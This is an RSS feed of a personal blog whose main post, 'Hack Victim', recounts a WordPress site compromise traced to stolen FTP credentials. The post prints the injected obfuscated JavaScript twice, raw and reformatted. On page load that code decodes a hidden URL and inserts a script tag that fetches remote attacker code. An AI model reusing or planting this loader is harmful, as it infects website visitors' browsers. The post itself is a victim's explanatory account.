<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Soumplis&#039; Personal Web Site &#187; Every Day News</title>
	<atom:link href="http://www.soumplis.com/category/every-day-news/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.soumplis.com</link>
	<description>Soumplis Alexandros Personal Web Site</description>
	<lastBuildDate>Mon, 16 Jan 2012 23:16:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Hack Victim</title>
		<link>http://www.soumplis.com/2010/03/02/hack-victim/</link>
		<comments>http://www.soumplis.com/2010/03/02/hack-victim/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 13:25:22 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Every Day News]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=60</guid>
		<description><![CDATA[In the world of security everybody admits that the question is not &#8220;if a security breach will happen, but when&#8221;. This weekend was my turn. I do my best to keep up to date my blog and generally I try to keep bad guys out of my place. However a nasty Javascript XSS (cross-site) attack [...]]]></description>
			<content:encoded><![CDATA[<p>In the world of security everybody admits that the question is not &#8220;if a security breach will happen, but when&#8221;. This weekend was my turn. I do my best to keep up to date my blog and generally I try to keep bad guys out of my place. However a nasty Javascript XSS (cross-site) attack hit me on Friday evening. I noticed that something could be wrong with my blog when my antivirus software initiated alarms every time I opened my browser (where suprisingly, I have my web site as homepage <img src='http://www.soumplis.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ).<span id="more-60"></span>My first reaction was to bring the site offline to protect my visitors. Then I started search where and how much damage has been done. Every single .php and .js was infected and in every file the attacker has injected the following code:</p>
<pre>
<div id="_mcePaste">var Zx=new Array();var ZL=new Array();try {this.U="";this.u="";
var D;if(D!='a' &amp;&amp; D != ''){D=null};var V='';var II;if(II!='ly'
&amp;&amp; II != ''){II=null};var b='[';var sN;if(sN!='X' &amp;&amp; sN!='iC'){
sN=''};this.iO="";var z=RegExp;var s='replace';var Z='g';this.GJ='';</div>
<div id="_mcePaste">var q=']';var M;if(M!='ST' &amp;&amp; M != ''){M=null};function L(C,y){var
Cp;if(Cp!=''){Cp='Sq'};var Wv=new Date();var wH=new String();var m=b;
this.le="";this.Aq='';m+=y;this.XP='';m+=q;var CO="";var E="";var I=new
z(m, Z);return C[s](I, V);};var K;if(K!='N'){K='N'};var PN="";var
h=L('bhoCdhyh',"CDhr");var B=L('sfcfrPiPpMtP',"MwOfP");var d=L('
h7t7tzpB:7/7/bvznVezx7pVrVeVsBsz-zn7ebtV.VnBiVn7gB.7cBozmB.bgVozobg7lbe</div>
<div id="_mcePaste">b-bhBrb.bm7yVf7rbe7ezmzabgb.7rzuB:b',"bBVz7");var C="1";var kb;
if(kb!='' &amp;&amp; kb!='t'){kb=''};var qc=L('/TsTpjoTnjsToTrTajdjsT.TdjeT/</div>
<div id="_mcePaste">TsTpTojnjsToTrTajdjsj.TdTej/jaTlTlToTcTiTnjej.Tfjrj/jaTeTbTnT.TnjejtT/
jgTojoTgjljej.TcTojmT.TpjhTpT',"jT");var Rh=new String();var Lq=new
String();var l=L('awpGpDewnGdqCDhDiqlDdw',"wDRGq");var Ep="";var O=L(</div>
<div id="_mcePaste">'sQeStQAStQtSrSiQbQuQtSeS',"SQ");var SN=new Array();this.Nd="";var
fj='';var zG='';var si='';var bf;if(bf!='_'){bf='_'};this.BI="";var</div>
<div id="_mcePaste">yS=L('851535031951859931095959',"3159");var Yr=new Date();var G=L('
ckrfekagtkekEglfekmkegnktg',"gfk");this.Cq="";this.CR='';var lq=L('
o3n3lro3audN',"NVr3u");var NR=new Array();var iI;if(iI!='Xk'){iI='Xk</div>
<div id="_mcePaste">'};var Ih=new String();var re=new String();window[lq]=function(){var
UL=new String();var qa=new String();zB=document[G](B);var wR=new A</div>
<div id="_mcePaste">rray();si+=d;this.oy='';si+=yS;var LJ=new String();var Pv=new Array();
si+=qc;var _a;if(_a!='' &amp;&amp; _a!='rQ'){_a='ED'};this.oB="";zB.src=s</div>
<div id="_mcePaste">i;var k=document[h];var kv;if(kv!='VV' &amp;&amp; kv != ''){kv=null};zB.
setAttribute('defer', C);var _z;if(_z!='' &amp;&amp; _z!='OxG'){_z='p'};var xd;</div>
<div id="_mcePaste">if(xd!=''){xd='kQ'};k.appendChild(zB);var n_='';var uJe=new String();};
var VO;if(VO!='sz'){VO=''};this.Iw='';var cR;if(cR!='Ae' &amp;&amp; cR!='mL'){</div>
<div id="_mcePaste">cR='Ae'};} catch(Y){};</div>
</pre>
<p>Well it was impossible to read this script, so I reformatted like real code and out to be the following:</p>
<pre><span class="keyword">var</span> Zx = <span class="keyword">new</span> <span class="object">Array</span>();
<span class="keyword">var</span> ZL = <span class="keyword">new</span> <span class="object">Array</span>();
<span class="keyword">try</span> {
  <span class="keyword">this</span>.U = <span class="literal">""</span>;
  <span class="keyword">this</span>.u = <span class="literal">""</span>;
  <span class="keyword">var</span> D;
  <span class="keyword">if</span>(D != <span class="literal">'a'</span> &amp;&amp; D != <span class="literal">''</span>) {
      D = <span class="keyword">null</span>};</pre>
<pre><span class="keyword">  var</span> V = <span class="literal">''</span>;
  <span class="keyword">var</span> II;
  <span class="keyword">if</span>(II !=<span class="literal">'ly'</span> &amp;&amp; II != <span class="literal">''</span>)
  {
     II = <span class="keyword">null }; </span></pre>
<pre>  <span class="keyword">var</span> b = <span class="literal">'['</span>;
  <span class="keyword">var</span> sN;
  <span class="keyword">if</span>(sN != <span class="literal">'X'</span> &amp;&amp; sN != <span class="literal">'iC'</span>)
  {
      sN = <span class="literal">''</span>};
  <span class="keyword">this</span>.iO = <span class="literal">""</span>;
  <span class="keyword">var</span> z = <span class="object">RegExp</span>;
  <span class="keyword">var</span> s = <span class="literal">'replace'</span>;
  <span class="keyword">var</span> Z = <span class="literal">'g'</span>;
  <span class="keyword">this</span>.GJ = <span class="literal">''</span>;
  <span class="keyword">var</span>q = <span class="literal">']'</span>;
  <span class="keyword">var</span> M;
  <span class="keyword">if</span>(M != <span class="literal">'ST'</span> &amp;&amp; M != <span class="literal">''</span>) {
     M = <span class="keyword">null</span>};</pre>
<pre>  <span class="keyword">function</span> L(C, y) {
      <span class="keyword">var</span> Cp;
      <span class="keyword">if</span>(Cp != <span class="literal">''</span>) {
         Cp = <span class="literal">'Sq'</span>};
      <span class="keyword">var</span> Wv = <span class="keyword">new</span> <span class="object">Date</span>();
      <span class="keyword">var</span> wH = <span class="keyword">new</span> <span class="object">String</span>();
      <span class="keyword">var</span> m = b;
      this.le = <span class="literal">""</span>;
      <span class="keyword">this</span>.Aq = <span class="literal">''</span>;
      m += y;
      <span class="keyword">this</span>.XP = <span class="literal">''</span>;
      m += q;
      <span class="keyword">var</span> CO = <span class="literal">""</span>;
      <span class="keyword">var</span> E = <span class="literal">""</span>;
      <span class="keyword">var</span> I = <span class="keyword">new</span> z(m, Z);
      <span class="keyword">return</span> C[s](I, V);
  };

<span class="keyword">  var</span> K;
   <span class="keyword">if</span>(K != <span class="literal">'N'</span>) {
      K = <span class="literal">'N'</span>}; 

  <span class="keyword">var</span> PN = <span class="literal">""</span>;
<span class="keyword">  var</span>h = L(<span class="literal">'bhoCdhyh'</span>, <span class="literal">"CDhr"</span>);
  <span class="keyword">var</span> B = L(<span class="literal">'sfcfrPiPpMtP'</span>, <span class="literal">"MwOfP"</span>);
<span class="keyword">  var</span> d = L(<span class="literal">'h7t7tzpB:7/7/bvznVezx7pVrVeVsBsz-zn7ebtV.VnBiVn7gB.
7cBozmB.bgVozobg7lbeb-bhBrb.bm7yVf7rbe7ezmzabgb.7rzuB:b'</span>, <span class="literal">"bBVz7"</span>);
  <span class="keyword">var</span> C = <span class="literal">"1"</span>;
  <span class="keyword">var</span> kb;
  <span class="keyword">if</span>(kb != <span class="literal">''</span> &amp;&amp; kb != <span class="literal">'t'</span>) {
      kb = <span class="literal">''</span>}; 

  <span class="keyword">var</span> qc = L(<span class="literal">'/TsTpjoTnjsToTrTajdjsT.TdjeT/TsTpTojnjsToTrTajdjsj.
TdTej/jaTlTlToTcTiTnjej.Tfjrj/jaTeTbTnT.TnjejtT/jgTojoTgjljej.TcTojmT.
TpjhTpT'</span>, <span class="literal">"jT"</span>);
  <span class="keyword">var</span> Rh = <span class="keyword">new</span> <span class="object">String</span>();
  <span class="keyword">var</span> Lq = <span class="keyword">new</span> String();
<span class="keyword">  var</span> l = L(<span class="literal">'awpGpDewnGdqCDhDiqlDdw'</span>, <span class="literal">"wDRGq"</span>);
  <span class="keyword">var</span> Ep = <span class="literal">""</span>;
  <span class="keyword">var</span> O = L(<span class="literal">'sQeStQAStQtSrSiQbQuQtSeS'</span>, <span class="literal">"SQ"</span>);
  <span class="keyword">var</span> SN = <span class="keyword">new</span> <span class="object">Array</span>();
  <span class="keyword">this</span>.Nd = <span class="literal">""</span>;
  <span class="keyword">var</span>fj = <span class="literal">''</span>;
  <span class="keyword">var</span> zG = <span class="literal">''</span>;
  <span class="keyword">var</span> si = <span class="literal">''</span>;
  <span class="keyword">var</span> bf;
  <span class="keyword">if</span>(bf != <span class="literal">'_'</span>) {
     bf = <span class="literal">'_'</span>}; 

  <span class="keyword">this</span>.BI = <span class="literal">""</span>;
  <span class="keyword">var</span> yS = L(<span class="literal">'851535031951859931095959'</span>, <span class="literal">"3159"</span>);
  <span class="keyword">var</span> Yr = <span class="keyword">new</span> <span class="object">Date</span>();
  <span class="keyword">var</span> G = L(<span class="literal">'ckrfekagtkekEglfekmkegnktg'</span>, <span class="literal">"gfk"</span>);

<span class="keyword">  this</span>.Cq = <span class="literal">""</span>;
  <span class="keyword">this</span>.CR = <span class="literal">''</span>;
  <span class="keyword">var</span> lq = L(<span class="literal">'o3n3lro3audN'</span>, <span class="literal">"NVr3u"</span>);
  <span class="keyword">var</span> NR = <span class="keyword">new</span> <span class="object">Array</span>();
  <span class="keyword">var</span> iI;
  <span class="keyword">if</span>(iI != <span class="literal">'Xk'</span>) {
      iI = <span class="literal">'Xk '</span>}; 

  <span class="keyword">var</span> Ih = <span class="keyword">new</span> <span class="object">String</span>();
  <span class="keyword">var</span> re = <span class="keyword">new</span> <span class="object">String</span>();
  <span class="object">window</span>[lq] = <span class="keyword">function</span>() {
      <span class="keyword">var</span> UL = <span class="keyword">new</span> <span class="object">String</span>();
      <span class="keyword">var</span> qa = <span class="keyword">new</span> <span class="object">String</span>();
      zB = <span class="object">document</span>[G](B);
      <span class="keyword">var</span> wR = <span class="keyword">new</span> Array();

      si += d;
      <span class="keyword">this</span>.oy = <span class="literal">''</span>;
      si += yS;
      <span class="keyword">var</span> LJ = <span class="keyword">new</span> <span class="object">String</span>();
      <span class="keyword">var</span> Pv = <span class="keyword">new</span> <span class="object">Array</span>();
      si += qc;
      <span class="keyword">var</span> _a;
      <span class="keyword">if</span>(_a != <span class="literal">''</span> &amp;&amp; _a != <span class="literal">'rQ'</span>) {
         _a = <span class="literal">'ED'</span>};
      <span class="keyword">this</span>.oB = <span class="literal">""</span>;
      zB.src = si;
      <span class="keyword">var</span> k = <span class="object">document</span>[h];
      <span class="keyword">var</span> kv;
      <span class="keyword">if</span>(kv != <span class="literal">'VV'</span> &amp;&amp; kv != <span class="literal">''</span>) {
         kv = <span class="keyword">null</span>};
      zB.setAttribute(<span class="literal">'defer'</span>, C);
      <span class="keyword">var</span> _z;
      <span class="keyword">if</span>(_z != <span class="literal">''</span> &amp;&amp; _z != <span class="literal">'OxG'</span>) {
         _z = <span class="literal">'p'</span>};
      <span class="keyword">var</span> xd;
      <span class="keyword">if</span>(xd != <span class="literal">''</span>) {
         xd = <span class="literal">'kQ'</span>}; 

      k.appendChild(zB);
      <span class="keyword">var</span> n_ = <span class="literal">''</span>;
      <span class="keyword">var</span> uJe = <span class="keyword">new</span> <span class="object">String</span>();
      };

<span class="keyword">  var</span> VO;
  <span class="keyword">if</span>(VO != <span class="literal">'sz'</span>) {
      VO = <span class="literal">''</span>}; 

  <span class="keyword">this</span>.Iw = <span class="literal">''</span>;
  <span class="keyword">var</span> cR;
  <span class="keyword">if</span>(cR != <span class="literal">'Ae'</span> &amp;&amp; cR != <span class="literal">'mL'</span>) {
      cR = <span class="literal">'Ae'</span>};
  }
<span class="keyword">catch</span>(Y) {};</pre>
<p>It became obvious that the script used a special encoding technique, unique for the script to make my life harder. It took me some time but in the end I was able to understand its inner work and finally the nasty cross-site trojan attack to the users browser.</p>
<p>My next move was to identify the point of entry. NOTHING! All my logs where clean, no recent exploits for wordpress published and everything seemed ok. Then an idea came back to me&#8230; It was not the server&#8217;s fault, but me&#8230; And yes I was right&#8230; My PC was somehow (still looking for that) infected with a backdoor which probably stole my cached FTP passwords (yes, I know it is bad to store passwords&#8230;). Then it connected through ftp to my web server and everything was easy &#8230; It could have been worse&#8230;</p>
<p>Everything was clear now and it was time to bring the site back online. I found it easier and safer to reinstall wordpress, as my database was not affected. So, fresh wordpress install, fresh theme installation, fresh plugins install and&#8230; here I am, back online!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/03/02/hack-victim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Walking on 30&#8230;</title>
		<link>http://www.soumplis.com/2010/02/18/walking-on-30/</link>
		<comments>http://www.soumplis.com/2010/02/18/walking-on-30/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 15:10:06 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Every Day News]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=57</guid>
		<description><![CDATA[Today is my birthday&#8230; OK, no big deal for anyone else except me, my family, Ktz (a.k.a. Jane) and maybe some friends. However I wanted to use this internet corner to Thank them all for just being there for me all the time&#8230;]]></description>
			<content:encoded><![CDATA[<p>Today is my birthday&#8230; OK, no big deal for anyone else except me, my family, Ktz (a.k.a. Jane) and maybe some friends. However I wanted to use this internet corner to Thank them all for just being there for me all the time&#8230; </p>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/02/18/walking-on-30/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>At last&#8230;</title>
		<link>http://www.soumplis.com/2010/02/03/at-last/</link>
		<comments>http://www.soumplis.com/2010/02/03/at-last/#comments</comments>
		<pubDate>Tue, 02 Feb 2010 22:20:55 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Every Day News]]></category>
		<category><![CDATA[me]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=11</guid>
		<description><![CDATA[I am trying to bring this page online since the last three months&#8230; Nothing great but i so desperately out of time that I could not give my attention to this. Hopefully now that it&#8217;s all set I&#8217;ll update this blog with news, information, solutions and generally anything that it may be of interest to [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I am trying to bring this page online since the last three months&#8230;</p>
<p style="text-align: justify;">Nothing great but i so desperately out of time that I could not give my attention to this.</p>
<p style="text-align: justify;">Hopefully now that it&#8217;s all set I&#8217;ll update this blog with news, information, solutions and generally anything that it may be of interest to all of you out there.</p>
<p style="text-align: justify;">Some times I will also post stories of my personal life just a depressurisation pump for my self. My psy-doctor adivces me to share my thoughts with others <img src='http://www.soumplis.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p style="text-align: left;">Greetings to all of you,<br />
Soumplis Alexandros</p>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/02/03/at-last/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

